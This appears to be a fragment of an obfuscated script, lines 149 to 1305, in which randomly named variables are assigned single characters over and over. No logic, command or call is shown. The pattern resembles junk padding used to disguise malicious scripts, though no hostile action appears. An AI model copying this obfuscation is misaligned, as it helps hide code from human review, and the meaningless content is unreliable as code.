149	oauhrgms = "S";
150	oauhrgms = "V";
151	oauhrgms = "e";
152	oauhrgms = "x";
153	oauhrgms = "2";
154	fqqnixnd = "x";
155	fqqnixnd = "v";
156	fqqnixnd = "f";
157	fqqnixnd = "g";
158	fqqnixnd = "C";
159	fqqnixnd = "d";
160	fqqnixnd = "u";
161	fqqnixnd = "A";
162	fqqnixnd = "D";
163	fqqnixnd = "V";
164	fqqnixnd = "Q";
165	fqqnixnd = "A";
166	fqqnixnd = "Y";
167	fqqnixnd = "m";
168	fqqnixnd = "Z";
169	fqqnixnd = "B";
170	fqqnixnd = "J";
171	fqqnixnd = "Q";
172	fqqnixnd = "n";
173	fqqnixnd = "s";
174	fqqnixnd = "I";
175	wpgtek = "J";
176	wpgtek = "p";
177	wpgtek = "F";
178	wpgtek = "a";
179	wpgtek = "Y";
180	wpgtek = "g";
181	wpgtek = "m";
182	wpgtek = "W";
183	wpgtek = "z";
184	wpgtek = "A";
185	wpgtek = "V";
186	wpgtek = "a";
187	wpgtek = "W";
188	wpgtek = "s";
189	wpgtek = "s";
190	wpgtek = "U";
191	wpgtek = "y";
192	wpgtek = "o";
193	wpgtek = "c";
194	wpgtek = "I";
195	wpgtek = "X";
196	wpgtek = "y";
197	wpgtek = "N";
198	wpgtek = "h";
199	wpgtek = "O";
200	wpgtek = "P";
201	wpgtek = "Y";
202	wpgtek = "Q";
203	wpgtek = "c";
204	wpgtek = "b";
205	wpgtek = "S";
206	wpgtek = "f";
207	wpgtek = "x";
208	zvfmfezoc = "C";
209	zvfmfezoc = "l";
210	zvfmfezoc = "q";
211	zvfmfezoc = "R";
212	iyglbta = "B";
213	iyglbta = "K";
214	iyglbta = "s";
215	iyglbta = "n";
216	iyglbta = "a";
217	iyglbta = "z";
218	iyglbta = "I";
219	iyglbta = "f";
220	iyglbta = "F";
221	iyglbta = "w";
222	iyglbta = "b";
223	iyglbta = "j";
224	iyglbta = "G";
225	iyglbta = "N";
226	ojutierg = "U";
227	ojutierg = "E";
228	ojutierg = "I";
229	ojutierg = "u";
230	tqqain = "n";
231	tqqain = "d";
232	tqqain = "N";
233	tqqain = "h";
234	tqqain = "J";
235	tqqain = "e";
236	tqqain = "E";
237	tqqain = "B";
238	tqqain = "O";
239	tqqain = "E";
240	tqqain = "I";
241	tqqain = "w";
242	tqqain = "e";
243	tqqain = "T";
244	tqqain = "y";
245	tqqain = "b";
246	tqqain = "r";
247	tqqain = "w";
248	tqqain = "k";
249	tqqain = "f";
250	hjbkk = "z";
251	hjbkk = "b";
252	hjbkk = "n";
253	hjbkk = "V";
254	hjbkk = "u";
255	hjbkk = "j";
256	hjbkk = "Q";
257	hjbkk = "o";
258	hjbkk = "J";
259	hjbkk = "r";
260	hjbkk = "g";
261	hjbkk = "L";
262	hjbkk = "z";
263	hjbkk = "r";
264	hjbkk = "h";
265	hjbkk = "j";
266	hjbkk = "C";
267	hjbkk = "Y";
268	hjbkk = ".";
269	mxoci = "r";
270	mxoci = "a";
271	mxoci = "I";
272	mxoci = "B";
273	mxoci = "H";
274	mxoci = "y";
275	mxoci = "K";
276	mxoci = "r";
277	mxoci = "G";
278	mxoci = "D";
279	mxoci = "K";
280	mxoci = "%";
281	zdowjrska = "j";
282	zdowjrska = "e";
283	zdowjrska = "y";
284	zdowjrska = "Z";
285	zdowjrska = "k";
286	zdowjrska = "I";
287	zdowjrska = "F";
288	zdowjrska = "G";
289	zdowjrska = "X";
290	zdowjrska = "V";
291	zdowjrska = "Y";
292	zdowjrska = "B";
293	zdowjrska = "F";
294	zdowjrska = "T";
295	zdowjrska = "F";
296	jsovqmit = "g";
297	jsovqmit = "K";
298	jsovqmit = "v";
299	jsovqmit = "p";
300	jsovqmit = "G";
301	jsovqmit = "F";
302	jsovqmit = "c";
303	jsovqmit = "V";
304	jsovqmit = "S";
305	jsovqmit = "z";
306	jsovqmit = "P";
307	jsovqmit = "F";
308	jsovqmit = "z";
309	jsovqmit = "b";
310	jsovqmit = "n";
311	jsovqmit = "H";
312	jsovqmit = "r";
313	jsovqmit = "J";
314	jsovqmit = "r";
315	jsovqmit = "r";
316	jsovqmit = "U";
317	jsovqmit = "X";
318	jsovqmit = "k";
319	jsovqmit = "M";
320	jsovqmit = "V";
321	jsovqmit = "T";
322	jsovqmit = "J";
323	jsovqmit = "A";
324	jsovqmit = "f";
325	jsovqmit = "q";
326	jsovqmit = "g";
327	jsovqmit = "Z";
328	jsovqmit = "l";
329	jsovqmit = "/";
330	yrzydgjoe = "T";
331	yrzydgjoe = "L";
332	yrzydgjoe = "z";
333	yrzydgjoe = "a";
334	yrzydgjoe = "s";
335	yrzydgjoe = "B";
336	yrzydgjoe = "X";
337	yrzydgjoe = "L";
338	yrzydgjoe = "w";
339	yrzydgjoe = "S";
340	yrzydgjoe = "U";
341	yrzydgjoe = "G";
342	yrzydgjoe = "a";
343	yrzydgjoe = "e";
344	yrzydgjoe = "r";
345	yrzydgjoe = "e";
346	yrzydgjoe = "Q";
347	yrzydgjoe = "N";
348	yrzydgjoe = "L";
349	yrzydgjoe = "U";
350	yrzydgjoe = "W";
351	yrzydgjoe = "Y";
352	yrzydgjoe = "d";
353	rehpbp = "a";
354	rehpbp = "n";
355	rehpbp = "i";
356	rehpbp = "R";
357	rehpbp = "M";
358	rehpbp = "O";
359	rehpbp = "n";
360	rehpbp = "e";
361	rehpbp = "m";
362	rehpbp = "J";
363	rehpbp = "h";
364	rehpbp = "I";
365	rehpbp = "k";
366	rehpbp = "r";
367	rehpbp = "\"";
368	oboqu = "O";
369	oboqu = "M";
370	oboqu = "h";
371	oboqu = "l";
372	oboqu = "y";
373	oboqu = "C";
374	oboqu = "H";
375	oboqu = "b";
376	oboqu = "T";
377	oboqu = "Z";
378	oboqu = "c";
379	oboqu = "F";
380	oboqu = "f";
381	oboqu = "r";
382	oboqu = "Y";
383	oboqu = "L";
384	oboqu = "D";
385	oboqu = "M";
386	oboqu = "o";
387	oboqu = "e";
388	oboqu = "Z";
389	oboqu = "i";
390	oboqu = "d";
391	oboqu = "R";
392	oboqu = "b";
393	oboqu = "G";
394	oboqu = "R";
395	oboqu = "Y";
396	oboqu = "G";
397	oboqu = "h";
398	oboqu = "L";
399	rjtguk = "P";
400	rjtguk = "r";
401	rjtguk = "T";
402	rjtguk = "e";
403	rjtguk = "P";
404	rjtguk = "J";
405	rjtguk = "O";
406	rjtguk = "g";
407	rjtguk = "x";
408	rjtguk = "h";
409	rjtguk = "V";
410	rjtguk = "m";
411	rjtguk = "j";
412	rjtguk = "J";
413	rjtguk = "l";
414	rjtguk = "L";
415	rjtguk = "b";
416	rjtguk = "p";
417	rjtguk = "D";
418	rjtguk = "I";
419	rjtguk = "n";
420	rjtguk = "O";
421	rjtguk = "s";
422	rjtguk = "P";
423	rjtguk = "q";
424	rjtguk = "x";
425	rjtguk = "M";
426	rjtguk = "o";
427	rjtguk = "n";
428	rjtguk = "d";
429	rjtguk = "X";
430	rjtguk = "L";
431	rjtguk = "k";
432	rjtguk = "l";
433	rjtguk = "A";
434	rjtguk = "M";
435	rjtguk = "M";
436	rjtguk = "O";
437	jhckfxnlc = "M";
438	jhckfxnlc = "G";
439	jhckfxnlc = "J";
440	jhckfxnlc = "q";
441	jhckfxnlc = "p";
442	jhckfxnlc = "V";
443	jhckfxnlc = "h";
444	jhckfxnlc = "i";
445	tuvqf = "x";
446	tuvqf = "q";
447	tuvqf = "n";
448	tuvqf = "N";
449	tuvqf = "Y";
450	tuvqf = "x";
451	tuvqf = "o";
452	tuvqf = "f";
453	tuvqf = "d";
454	tuvqf = "f";
455	tuvqf = "V";
456	tuvqf = "v";
457	tuvqf = "u";
458	tuvqf = "K";
459	tuvqf = "p";
460	tuvqf = "Y";
461	tuvqf = "O";
462	tuvqf = "l";
463	tuvqf = "M";
464	tuvqf = "b";
465	tuvqf = "U";
466	tuvqf = "v";
467	tuvqf = "v";
468	tuvqf = "L";
469	tuvqf = "Q";
470	tuvqf = "i";
471	tuvqf = "z";
472	tuvqf = "K";
473	tuvqf = "i";
474	tuvqf = "z";
475	tuvqf = "W";
476	tuvqf = "T";
477	mvpkwymt = "r";
478	mvpkwymt = "i";
479	mvpkwymt = "t";
480	mvpkwymt = "Y";
481	mvpkwymt = "M";
482	mvpkwymt = "V";
483	mvpkwymt = "X";
484	mvpkwymt = "m";
485	mvpkwymt = "E";
486	mvpkwymt = "p";
487	mvpkwymt = "h";
488	mvpkwymt = "a";
489	mvpkwymt = "d";
490	mvpkwymt = "t";
491	mvpkwymt = "q";
492	mvpkwymt = "D";
493	mvpkwymt = "R";
494	mvpkwymt = "g";
495	mvpkwymt = "k";
496	mvpkwymt = "X";
497	mvpkwymt = "S";
498	ebalfxy = "X";
499	ebalfxy = "O";
500	ebalfxy = "r";
501	ebalfxy = "s";
502	ebalfxy = "e";
503	ebalfxy = "T";
504	ebalfxy = "L";
505	ebalfxy = "n";
506	ebalfxy = " ";
507	slkxfcq = "y";
508	slkxfcq = "Q";
509	slkxfcq = "s";
510	slkxfcq = "k";
511	slkxfcq = "h";
512	slkxfcq = "Z";
513	slkxfcq = "D";
514	slkxfcq = "S";
515	slkxfcq = "S";
516	slkxfcq = "x";
517	slkxfcq = "V";
518	slkxfcq = "J";
519	slkxfcq = "9";
520	hcbjnrmy = "C";
521	hcbjnrmy = "C";
522	hcbjnrmy = "l";
523	hcbjnrmy = "u";
524	hcbjnrmy = "o";
525	hcbjnrmy = "X";
526	hcbjnrmy = "I";
527	hcbjnrmy = "1";
528	nhlcissr = "t";
529	nhlcissr = "A";
530	nhlcissr = "v";
531	nhlcissr = "k";
532	nhlcissr = "Z";
533	nhlcissr = "Q";
534	nhlcissr = "w";
535	nhlcissr = "u";
536	nhlcissr = "w";
537	nhlcissr = "K";
538	nhlcissr = "o";
539	nhlcissr = "u";
540	nhlcissr = "Z";
541	nhlcissr = "Z";
542	nhlcissr = "B";
543	nhlcissr = "C";
544	nhlcissr = "s";
545	nhlcissr = "m";
546	nhlcissr = "d";
547	nhlcissr = "m";
548	nhlcissr = "B";
549	nhlcissr = "I";
550	nhlcissr = "H";
551	nhlcissr = "Y";
552	nhlcissr = "P";
553	nhlcissr = "k";
554	nhlcissr = "c";
555	nhlcissr = "H";
556	nhlcissr = "n";
557	fgxhuihy = "B";
558	fgxhuihy = "N";
559	fgxhuihy = "G";
560	fgxhuihy = "C";
561	fgxhuihy = "b";
562	fgxhuihy = "X";
563	fgxhuihy = "Q";
564	fgxhuihy = "H";
565	fgxhuihy = "z";
566	fgxhuihy = "O";
567	fgxhuihy = "e";
568	fgxhuihy = "Y";
569	fgxhuihy = "T";
570	fgxhuihy = "K";
571	fgxhuihy = "g";
572	fgxhuihy = "r";
573	fgxhuihy = "M";
574	fgxhuihy = "R";
575	fgxhuihy = "o";
576	fgxhuihy = "i";
577	fgxhuihy = "f";
578	fgxhuihy = "P";
579	fgxhuihy = "E";
580	fgxhuihy = "T";
581	fgxhuihy = "q";
582	fgxhuihy = "Q";
583	fgxhuihy = "p";
584	fgxhuihy = "A";
585	fgxhuihy = "w";
586	fgxhuihy = "m";
587	fgxhuihy = "r";
588	fgxhuihy = "7";
589	zmbnm = "I";
590	zmbnm = "g";
591	zmbnm = "C";
592	zmbnm = "W";
593	zmbnm = "X";
594	zmbnm = "l";
595	zmbnm = "U";
596	zmbnm = "m";
597	zmbnm = "e";
598	zmbnm = "j";
599	zmbnm = "f";
600	zmbnm = "I";
601	zmbnm = "V";
602	zmbnm = "j";
603	zmbnm = "K";
604	zmbnm = "h";
605	zmbnm = "H";
606	zmbnm = "e";
607	zmbnm = "J";
608	zmbnm = "r";
609	zmbnm = "G";
610	zmbnm = "W";
611	zmbnm = "T";
612	zmbnm = "O";
613	zmbnm = "s";
614	zmbnm = "J";
615	zmbnm = "N";
616	zmbnm = "L";
617	zmbnm = "v";
618	teykai = "D";
619	teykai = "v";
620	teykai = "C";
621	teykai = "w";
622	teykai = "I";
623	teykai = "G";
624	teykai = "f";
625	teykai = "n";
626	teykai = "f";
627	teykai = "Z";
628	teykai = "r";
629	teykai = "l";
630	teykai = "J";
631	teykai = "j";
632	teykai = "e";
633	teykai = "a";
634	teykai = "g";
635	teykai = "K";
636	teykai = "P";
637	teykai = "Q";
638	teykai = "P";
639	teykai = "l";
640	teykai = "N";
641	teykai = "Z";
642	teykai = "l";
643	teykai = "k";
644	teykai = "u";
645	teykai = "p";
646	teykai = "t";
647	teykai = "x";
648	teykai = "U";
649	teykai = "p";
650	teykai = "s";
651	teykai = "M";
652	teykai = "0";
653	naypsulwk = "X";
654	naypsulwk = "d";
655	naypsulwk = "u";
656	naypsulwk = "a";
657	naypsulwk = "K";
658	naypsulwk = "j";
659	naypsulwk = "u";
660	naypsulwk = "a";
661	naypsulwk = "A";
662	naypsulwk = "o";
663	naypsulwk = "t";
664	naypsulwk = "a";
665	naypsulwk = "v";
666	naypsulwk = "V";
667	naypsulwk = "X";
668	naypsulwk = "A";
669	naypsulwk = "Y";
670	naypsulwk = "W";
671	naypsulwk = "i";
672	naypsulwk = "y";
673	naypsulwk = "J";
674	naypsulwk = "H";
675	naypsulwk = "b";
676	naypsulwk = "C";
677	naypsulwk = "X";
678	naypsulwk = "i";
679	naypsulwk = "k";
680	naypsulwk = "H";
681	naypsulwk = "K";
682	naypsulwk = "i";
683	naypsulwk = "V";
684	naypsulwk = "R";
685	naypsulwk = "y";
686	naypsulwk = "R";
687	naypsulwk = "M";
688	naypsulwk = "a";
689	naypsulwk = "s";
690	naypsulwk = "n";
691	naypsulwk = "d";
692	naypsulwk = "M";
693	naypsulwk = "K";
694	enoulcxf = "a";
695	enoulcxf = "K";
696	enoulcxf = "v";
697	enoulcxf = "n";
698	enoulcxf = "n";
699	enoulcxf = "E";
700	enoulcxf = "C";
701	enoulcxf = "M";
702	enoulcxf = "Y";
703	enoulcxf = "p";
704	enoulcxf = "G";
705	enoulcxf = "e";
706	enoulcxf = "R";
707	enoulcxf = "B";
708	enoulcxf = "Z";
709	enoulcxf = "w";
710	enoulcxf = "n";
711	enoulcxf = "h";
712	enoulcxf = "m";
713	enoulcxf = "l";
714	enoulcxf = "t";
715	enoulcxf = "U";
716	enoulcxf = "B";
717	enoulcxf = "n";
718	enoulcxf = "e";
719	enoulcxf = "I";
720	enoulcxf = "V";
721	enoulcxf = "t";
722	enoulcxf = "M";
723	enoulcxf = "P";
724	enoulcxf = "v";
725	enoulcxf = "C";
726	enoulcxf = "q";
727	enoulcxf = "W";
728	zhwhyvq = "u";
729	zhwhyvq = "B";
730	zhwhyvq = "R";
731	zhwhyvq = "o";
732	zhwhyvq = "y";
733	zhwhyvq = "V";
734	zhwhyvq = "t";
735	zhwhyvq = "J";
736	zhwhyvq = "C";
737	zhwhyvq = "r";
738	zhwhyvq = "S";
739	zhwhyvq = "R";
740	zhwhyvq = "I";
741	zhwhyvq = "b";
742	zhwhyvq = "f";
743	zhwhyvq = "q";
744	zhwhyvq = "Q";
745	zhwhyvq = "x";
746	zhwhyvq = "P";
747	zhwhyvq = "A";
748	zhwhyvq = "4";
749	krwsaxj = "U";
750	krwsaxj = "G";
751	krwsaxj = "l";
752	krwsaxj = "H";
753	krwsaxj = "A";
754	krwsaxj = "z";
755	krwsaxj = "o";
756	krwsaxj = "N";
757	krwsaxj = "j";
758	krwsaxj = "y";
759	krwsaxj = "Q";
760	krwsaxj = "G";
761	krwsaxj = "q";
762	krwsaxj = "y";
763	krwsaxj = "f";
764	krwsaxj = "j";
765	krwsaxj = "E";
766	krwsaxj = "Y";
767	krwsaxj = "F";
768	krwsaxj = "k";
769	krwsaxj = "e";
770	krwsaxj = "W";
771	krwsaxj = "a";
772	krwsaxj = "R";
773	krwsaxj = "i";
774	krwsaxj = "Y";
775	krwsaxj = "M";
776	krwsaxj = "S";
777	krwsaxj = "o";
778	krwsaxj = "c";
779	krwsaxj = "n";
780	krwsaxj = "V";
781	krwsaxj = "U";
782	krwsaxj = "Y";
783	qtmqrp = "r";
784	vskimpojp = "W";
785	vskimpojp = "J";
786	vskimpojp = "a";
787	vskimpojp = "q";
788	vskimpojp = "T";
789	vskimpojp = "e";
790	vskimpojp = "z";
791	vskimpojp = "x";
792	vskimpojp = "L";
793	vskimpojp = "z";
794	vskimpojp = "p";
795	vskimpojp = "H";
796	vskimpojp = "O";
797	vskimpojp = "S";
798	vskimpojp = "O";
799	vskimpojp = "V";
800	vskimpojp = "J";
801	vskimpojp = "e";
802	vskimpojp = "i";
803	vskimpojp = "r";
804	vskimpojp = "q";
805	vskimpojp = "F";
806	vskimpojp = "G";
807	vskimpojp = "H";
808	vskimpojp = "m";
809	vskimpojp = "y";
810	vskimpojp = "P";
811	vskimpojp = "w";
812	vskimpojp = "z";
813	vskimpojp = "i";
814	vskimpojp = "h";
815	vskimpojp = "j";
816	vskimpojp = "Q";
817	vskimpojp = "C";
818	vskimpojp = "h";
819	vskimpojp = "Q";
820	vskimpojp = "f";
821	vskimpojp = "V";
822	vskimpojp = "f";
823	vskimpojp = "q";
824	vskimpojp = "Z";
825	vskimpojp = "3";
826	kuupddxzh = "T";
827	kuupddxzh = "w";
828	kuupddxzh = "X";
829	kuupddxzh = "v";
830	kuupddxzh = "b";
831	kuupddxzh = "m";
832	kuupddxzh = "T";
833	kuupddxzh = "C";
834	njzsfvyxm = "w";
835	njzsfvyxm = "P";
836	njzsfvyxm = "D";
837	njzsfvyxm = "r";
838	njzsfvyxm = "Z";
839	njzsfvyxm = "j";
840	njzsfvyxm = "C";
841	njzsfvyxm = "H";
842	njzsfvyxm = "m";
843	njzsfvyxm = "z";
844	njzsfvyxm = "p";
845	njzsfvyxm = "P";
846	njzsfvyxm = "m";
847	njzsfvyxm = "U";
848	njzsfvyxm = "H";
849	njzsfvyxm = "y";
850	njzsfvyxm = "n";
851	njzsfvyxm = "b";
852	njzsfvyxm = "e";
853	njzsfvyxm = "T";
854	njzsfvyxm = "F";
855	njzsfvyxm = "C";
856	njzsfvyxm = "N";
857	njzsfvyxm = "Y";
858	njzsfvyxm = "u";
859	njzsfvyxm = "Z";
860	njzsfvyxm = "X";
861	njzsfvyxm = "t";
862	njzsfvyxm = "U";
863	njzsfvyxm = "R";
864	njzsfvyxm = "c";
865	njzsfvyxm = "o";
866	njzsfvyxm = "D";
867	njzsfvyxm = "h";
868	njzsfvyxm = "W";
869	njzsfvyxm = "g";
870	njzsfvyxm = "d";
871	njzsfvyxm = "l";
872	iwlnzp = "j";
873	iwlnzp = "N";
874	iwlnzp = "i";
875	iwlnzp = "z";
876	iwlnzp = "W";
877	iwlnzp = "Q";
878	iwlnzp = "w";
879	iwlnzp = "w";
880	iwlnzp = "r";
881	iwlnzp = "e";
882	iwlnzp = "i";
883	iwlnzp = "e";
884	iwlnzp = "D";
885	iwlnzp = "A";
886	iwlnzp = "i";
887	iwlnzp = "f";
888	iwlnzp = "J";
889	iwlnzp = "b";
890	iwlnzp = "Q";
891	iwlnzp = "Y";
892	iwlnzp = "f";
893	iwlnzp = "H";
894	iwlnzp = "g";
895	cisld = "m";
896	cisld = "m";
897	cisld = "H";
898	cisld = "@";
899	bdlszddr = "A";
900	bdlszddr = "M";
901	bdlszddr = "G";
902	bdlszddr = "m";
903	bdlszddr = "H";
904	rugvcx = "b";
905	rugvcx = "M";
906	rugvcx = "q";
907	rugvcx = "a";
908	rugvcx = "a";
909	rugvcx = "l";
910	rugvcx = "S";
911	rugvcx = "v";
912	rugvcx = "E";
913	rugvcx = "g";
914	rugvcx = "R";
915	rugvcx = "N";
916	rugvcx = "C";
917	rugvcx = "n";
918	rugvcx = "L";
919	rugvcx = "W";
920	rugvcx = "q";
921	rugvcx = "P";
922	rugvcx = "X";
923	rugvcx = "P";
924	rugvcx = "u";
925	rugvcx = "Q";
926	rugvcx = "l";
927	rugvcx = "w";
928	rugvcx = "g";
929	rugvcx = "E";
930	rugvcx = "S";
931	rugvcx = "g";
932	rugvcx = "I";
933	rugvcx = "v";
934	rugvcx = "S";
935	rugvcx = "8";
936	dlonpzp = "N";
937	dlonpzp = "a";
938	dlonpzp = "T";
939	dlonpzp = "g";
940	dlonpzp = "K";
941	dlonpzp = "j";
942	dlonpzp = "O";
943	dlonpzp = "G";
944	dlonpzp = "p";
945	dlonpzp = "J";
946	dlonpzp = "g";
947	dlonpzp = "U";
948	ouxqplj = "E";
949	ouxqplj = "I";
950	ouxqplj = "x";
951	ouxqplj = "A";
952	ouxqplj = "R";
953	ouxqplj = "U";
954	ouxqplj = "N";
955	ouxqplj = "P";
956	ouxqplj = "g";
957	ouxqplj = "U";
958	ouxqplj = "m";
959	ouxqplj = "A";
960	ouxqplj = "B";
961	ouxqplj = "D";
962	ouxqplj = "J";
963	ouxqplj = "e";
964	ouxqplj = "T";
965	ouxqplj = "c";
966	ouxqplj = "W";
967	ouxqplj = "e";
968	ouxqplj = "A";
969	ouxqplj = "a";
970	ouxqplj = "d";
971	ouxqplj = "I";
972	ouxqplj = "m";
973	ouxqplj = "e";
974	ouxqplj = "H";
975	ouxqplj = "X";
976	ouxqplj = ":";
977	dgfzqubwj = "j";
978	dgfzqubwj = "N";
979	dgfzqubwj = "e";
980	mrewy = "O";
981	mrewy = "f";
982	mrewy = "L";
983	mrewy = "P";
984	mrewy = "G";
985	mrewy = "h";
986	mrewy = "d";
987	mrewy = "w";
988	mrewy = "B";
989	mrewy = "N";
990	mrewy = "X";
991	mrewy = "c";
992	mrewy = "K";
993	mrewy = "U";
994	mrewy = "n";
995	mrewy = "G";
996	mrewy = "z";
997	mrewy = "r";
998	mrewy = "L";
999	mrewy = "k";
1000	mrewy = "X";
1001	mrewy = "D";
1002	mrewy = "n";
1003	mrewy = "C";
1004	mrewy = "G";
1005	mrewy = "W";
1006	mrewy = "m";
1007	mrewy = "Y";
1008	mrewy = "k";
1009	mrewy = "B";
1010	mrewy = "R";
1011	mrewy = "Y";
1012	mrewy = "b";
1013	mrewy = "y";
1014	mrewy = "z";
1015	mrewy = "m";
1016	mrewy = "j";
1017	mrewy = "k";
1018	mrewy = "H";
1019	mrewy = "u";
1020	mrewy = "W";
1021	mrewy = "c";
1022	mrewy = "I";
1023	mrewy = "&";
1024	vumxr = "p";
1025	vumxr = "N";
1026	vumxr = "L";
1027	vumxr = "F";
1028	vumxr = "r";
1029	vumxr = "g";
1030	vumxr = "f";
1031	vumxr = "P";
1032	vumxr = "z";
1033	vumxr = "Q";
1034	vumxr = "y";
1035	vumxr = "f";
1036	vumxr = "U";
1037	vumxr = "A";
1038	vumxr = "J";
1039	vumxr = "P";
1040	vumxr = "K";
1041	vumxr = "U";
1042	vumxr = "s";
1043	vumxr = "G";
1044	vumxr = "B";
1045	vumxr = "w";
1046	vumxr = "c";
1047	vumxr = "I";
1048	vumxr = "y";
1049	vumxr = "t";
1050	vumxr = "i";
1051	vumxr = "Z";
1052	vumxr = "H";
1053	vumxr = "u";
1054	vumxr = "f";
1055	vumxr = "k";
1056	vumxr = "I";
1057	vumxr = "n";
1058	vumxr = "P";
1059	zcnhhd = "d";
1060	zcnhhd = "z";
1061	zcnhhd = "p";
1062	zcnhhd = "Y";
1063	zcnhhd = "c";
1064	zcnhhd = "X";
1065	zcnhhd = "u";
1066	zcnhhd = "L";
1067	zcnhhd = "B";
1068	zcnhhd = "w";
1069	zcnhhd = "B";
1070	zcnhhd = "r";
1071	zcnhhd = "B";
1072	zcnhhd = "Z";
1073	zcnhhd = "d";
1074	zcnhhd = "R";
1075	zcnhhd = "J";
1076	zcnhhd = "z";
1077	zcnhhd = "H";
1078	zcnhhd = "g";
1079	zcnhhd = "a";
1080	zcnhhd = "Q";
1081	zcnhhd = "U";
1082	zcnhhd = "g";
1083	zcnhhd = "e";
1084	zcnhhd = "X";
1085	zcnhhd = "l";
1086	zcnhhd = "k";
1087	zcnhhd = "I";
1088	zcnhhd = "F";
1089	zcnhhd = "R";
1090	zcnhhd = "Z";
1091	zcnhhd = "S";
1092	zcnhhd = "x";
1093	zcnhhd = "u";
1094	zcnhhd = "X";
1095	zcnhhd = "D";
1096	zcnhhd = "m";
1097	zcnhhd = "v";
1098	zcnhhd = "i";
1099	zcnhhd = "u";
1100	zcnhhd = "n";
1101	zcnhhd = "b";
1102	zcnhhd = "i";
1103	zcnhhd = "5";
1104	rlzryj = "V";
1105	rlzryj = "Y";
1106	rlzryj = "R";
1107	rlzryj = "v";
1108	rlzryj = "c";
1109	rlzryj = "b";
1110	rlzryj = "d";
1111	rlzryj = "G";
1112	rlzryj = "v";
1113	rlzryj = "n";
1114	rlzryj = "C";
1115	rlzryj = "b";
1116	rlzryj = "y";
1117	rlzryj = "V";
1118	rlzryj = "m";
1119	rlzryj = "z";
1120	rlzryj = "q";
1121	rlzryj = "Y";
1122	rlzryj = "h";
1123	rlzryj = "m";
1124	doailaof = "Q";
1125	doailaof = "W";
1126	doailaof = "z";
1127	doailaof = "v";
1128	doailaof = "Q";
1129	doailaof = "L";
1130	doailaof = "A";
1131	doailaof = "G";
1132	doailaof = "f";
1133	doailaof = "Q";
1134	doailaof = "D";
1135	doailaof = "n";
1136	doailaof = "h";
1137	doailaof = "K";
1138	doailaof = "M";
1139	doailaof = "u";
1140	doailaof = "c";
1141	doailaof = "k";
1142	doailaof = "A";
1143	doailaof = "a";
1144	doailaof = "f";
1145	doailaof = "g";
1146	doailaof = "J";
1147	doailaof = "K";
1148	doailaof = "Y";
1149	doailaof = "s";
1150	doailaof = "o";
1151	doailaof = "E";
1152	doailaof = "S";
1153	doailaof = "k";
1154	doailaof = "\\";
1155	zqhuajwq = "n";
1156	zqhuajwq = "E";
1157	zqhuajwq = "t";
1158	zqhuajwq = "G";
1159	zqhuajwq = "i";
1160	zqhuajwq = "l";
1161	zqhuajwq = "j";
1162	zqhuajwq = "d";
1163	zqhuajwq = "u";
1164	zqhuajwq = "A";
1165	zqhuajwq = "h";
1166	zqhuajwq = "i";
1167	zqhuajwq = "l";
1168	zqhuajwq = "e";
1169	zqhuajwq = "R";
1170	zqhuajwq = "F";
1171	zqhuajwq = "i";
1172	zqhuajwq = "t";
1173	zqhuajwq = "z";
1174	zqhuajwq = "X";
1175	zqhuajwq = "x";
1176	zqhuajwq = "N";
1177	zqhuajwq = "O";
1178	zqhuajwq = "u";
1179	zqhuajwq = "u";
1180	zqhuajwq = "N";
1181	zqhuajwq = "k";
1182	zqhuajwq = "J";
1183	zqhuajwq = "v";
1184	zqhuajwq = "d";
1185	zqhuajwq = "O";
1186	zqhuajwq = "i";
1187	zqhuajwq = "V";
1188	zqhuajwq = "F";
1189	zqhuajwq = "J";
1190	zqhuajwq = "C";
1191	zqhuajwq = "l";
1192	zqhuajwq = "v";
1193	zqhuajwq = "m";
1194	zqhuajwq = "e";
1195	zqhuajwq = "M";
1196	zqhuajwq = "B";
1197	zqhuajwq = "q";
1198	gzjaip = "a";
1199	gzjaip = "T";
1200	gzjaip = "Q";
1201	gzjaip = "q";
1202	gzjaip = "m";
1203	gzjaip = "V";
1204	gzjaip = "L";
1205	gzjaip = "f";
1206	gzjaip = "W";
1207	gzjaip = "e";
1208	gzjaip = "N";
1209	gzjaip = "q";
1210	gzjaip = "X";
1211	gzjaip = "p";
1212	gzjaip = "j";
1213	gzjaip = "o";
1214	gzjaip = "q";
1215	gzjaip = "u";
1216	gzjaip = "G";
1217	gzjaip = "S";
1218	gzjaip = "P";
1219	gzjaip = "E";
1220	gzjaip = "V";
1221	gzjaip = "_";
1222	mvmsvydkn = "t";
1223	mvmsvydkn = "U";
1224	mvmsvydkn = "r";
1225	mvmsvydkn = "m";
1226	mvmsvydkn = "Z";
1227	mvmsvydkn = "e";
1228	mvmsvydkn = "M";
1229	mvmsvydkn = "X";
1230	mvmsvydkn = "t";
1231	mvmsvydkn = "U";
1232	mvmsvydkn = "q";
1233	mvmsvydkn = "z";
1234	mvmsvydkn = "n";
1235	mvmsvydkn = "z";
1236	mvmsvydkn = "r";
1237	mvmsvydkn = "y";
1238	mvmsvydkn = "E";
1239	mvmsvydkn = "t";
1240	mvmsvydkn = "G";
1241	mvmsvydkn = "t";
1242	mvmsvydkn = "s";
1243	mvmsvydkn = "H";
1244	mvmsvydkn = "I";
1245	mvmsvydkn = "c";
1246	mvmsvydkn = "A";
1247	mvmsvydkn = "o";
1248	gzxzhy = "Q";
1249	gzxzhy = "F";
1250	gzxzhy = "g";
1251	gzxzhy = "W";
1252	gzxzhy = "j";
1253	gzxzhy = "X";
1254	gzxzhy = "E";
1255	gzxzhy = "Q";
1256	gzxzhy = "g";
1257	gzxzhy = "Q";
1258	xjwllra = "I";
1259	xjwllra = "T";
1260	xjwllra = "K";
1261	xjwllra = "P";
1262	xjwllra = "E";
1263	xjwllra = "n";
1264	xjwllra = "t";
1265	rytdbf = "J";
1266	rytdbf = "O";
1267	rytdbf = "f";
1268	rytdbf = "c";
1269	rytdbf = "I";
1270	rytdbf = "S";
1271	rytdbf = "O";
1272	rytdbf = "H";
1273	rytdbf = "V";
1274	rytdbf = "r";
1275	rytdbf = "b";
1276	bopeat = "V";
1277	bopeat = "G";
1278	bopeat = "x";
1279	bopeat = "s";
1280	bopeat = "N";
1281	bopeat = "K";
1282	bopeat = "j";
1283	bopeat = "Z";
1284	bopeat = "Q";
1285	bopeat = "c";
1286	bopeat = "z";
1287	bopeat = "G";
1288	bopeat = "F";
1289	bopeat = "a";
1290	bopeat = "V";
1291	bopeat = "d";
1292	bopeat = "u";
1293	bopeat = "H";
1294	bopeat = "I";
1295	bopeat = "Z";
1296	bopeat = "i";
1297	bopeat = "d";
1298	bopeat = "y";
1299	bopeat = "w";
1300	bopeat = "p";
1301	bopeat = "d";
1302	bopeat = "X";
1303	bopeat = "g";
1304	bopeat = "o";
1305	bopeat = "F";
